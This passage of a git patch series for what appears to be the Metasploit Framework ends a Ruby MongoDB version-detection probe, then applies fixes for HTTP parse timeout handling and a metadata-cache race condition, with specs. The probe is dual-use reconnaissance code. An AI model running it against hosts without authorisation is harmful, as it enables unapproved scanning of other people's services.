mongodb_build_packet('admin.$cmd', cmd.to_bson.to_s) + + sock.put(pkt) + resp = sock.get_once(-1, 5) + + doc = mongodb_parse_doc(resp) + return nil unless doc && doc['version'] + + version_str = doc['version'] + report_service( + host: rhost, + port: rport, + name: 'mongodb', + proto: 'tcp', + info: "MongoDB #{version_str}" + ) + version_str + rescue StandardError => e + vprint_error("#{peer} - Failed to parse version: #{e.message}") + nil + end +end From 0c9e834347f9a239a262683d97e4aa710ea33193 Mon Sep 17 00:00:00 2001 From: Claude Date: Sun, 16 Aug 2026 09:51:26 +0000 Subject: [PATCH 5/6] Fix Rex::Proto::Http::Packet#parse swallowing Timeout::Error The bare rescue in Packet#parse caught Timeout::Error along with every other StandardError, silently converting it into a generic ParseCode::Error. Rex::Proto::Http::Client#read_response relies on Timeout::Error propagating out of resp.parse so its own rescue Timeout::Error clause can return a partial response when config['partial'] is set; that path was unreachable whenever the timeout fired during parsing rather than between reads. Now Timeout::Error is re-raised explicitly before the catch-all rescue, restoring the intended timeout-vs-malformed-response distinction. --- lib/rex/proto/http/packet.rb | 5 ++++- spec/lib/rex/proto/http/packet_spec.rb | 20 ++++++++++++++++++++ 2 files changed, 24 insertions(+), 1 deletion(-) diff --git a/lib/rex/proto/http/packet.rb b/lib/rex/proto/http/packet.rb index 29d8837fc9129..361b1a945bcfa 100644 --- a/lib/rex/proto/http/packet.rb +++ b/lib/rex/proto/http/packet.rb @@ -114,8 +114,11 @@ def parse(buf, opts={}) parse_body end end + rescue ::Timeout::Error + # Let timeouts propagate so callers (e.g. Rex::Proto::Http::Client#read_response) + # can distinguish a timed-out read from a genuinely malformed response. + raise rescue - # XXX: BUG: This rescue might be a problem because it will swallow TimeoutError self.error = $! return ParseCode::Error end diff --git a/spec/lib/rex/proto/http/packet_spec.rb b/spec/lib/rex/proto/http/packet_spec.rb index f052f753b9709..8a0dd2fbda24c 100644 --- a/spec/lib/rex/proto/http/packet_spec.rb +++ b/spec/lib/rex/proto/http/packet_spec.rb @@ -48,5 +48,25 @@ end end + context "when the underlying parse raises Timeout::Error" do + it "propagates the timeout instead of swallowing it as a parse error" do + packet = described_class.new + allow(packet).to receive(:parse_header).and_raise(::Timeout::Error) + + expect { + packet.parse("GET / HTTP/1.0\r\n\r\n") + }.to raise_error(::Timeout::Error) + end + end + + context "when the underlying parse raises a non-timeout error" do + it "returns ParseCode::Error and records it" do + packet = described_class.new + allow(packet).to receive(:parse_header).and_raise(RuntimeError, "boom") + + expect(packet.parse("GET / HTTP/1.0\r\n\r\n")).to eq described_class::ParseCode::Error + expect(packet.error).to be_a(RuntimeError) + end + end end end From 26a8cbaf2e6bcb33031c61cd49d24dc05e5e0913 Mon Sep 17 00:00:00 2001 From: Claude Date: Sun, 16 Aug 2026 10:07:10 +0000 Subject: [PATCH 6/6] Fix race condition in Msf::Modules::Metadata::Cache background load Cache#initialize spawns a background thread that populates @module_metadata_cache via load_cache_from_file_store without holding @mutex. get_metadata, get_module_reference, and module_metadata all correctly call wait_for_load before touching the cache, but refresh_metadata_instance and refresh_metadata did not. When refresh_cache_from_module_files (called from vuln_attempt_registration_spec's before(:each), among other places) ran before the background load thread finished, the synchronous refresh_metadata call would iterate @module_metadata_cache while the unsynchronized background thread was still adding keys to the same Hash, raising "RuntimeError: can't add a new key into hash during iteration" at @module_metadata_cache[cache_key] = metadata_obj. Add the missing wait_for_load call to both methods, matching the existing pattern in the three read-only accessors. --- lib/msf/core/modules/metadata/cache.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/core/modules/metadata/cache.rb b/lib/msf/core/modules/metadata/cache.rb index aa10e2005e007..46f58e22fd870 100644 --- a/lib/msf/core/modules/metadata/cache.rb +++ b/lib/msf/core/modules/metadata/cache.rb @@ -19,6 +19,7 @@ class Cache # def refresh_metadata_instance(module_instance) @mutex.synchronize { + wait_for_load dlog "Refreshing #{module_instance.refname} of type: #{module_instance.type}" refresh_metadata_instance_internal(module_instance) update_store @@ -48,6 +49,7 @@ def get_module_reference(type:, reference_name:) def refresh_metadata(module_sets) has_changes = false @mutex.synchronize { + wait_for_load unchanged_module_references = get_unchanged_module_references module_sets.each do |mt| unchanged_reference_name_set = unchanged_module_references[mt[0]]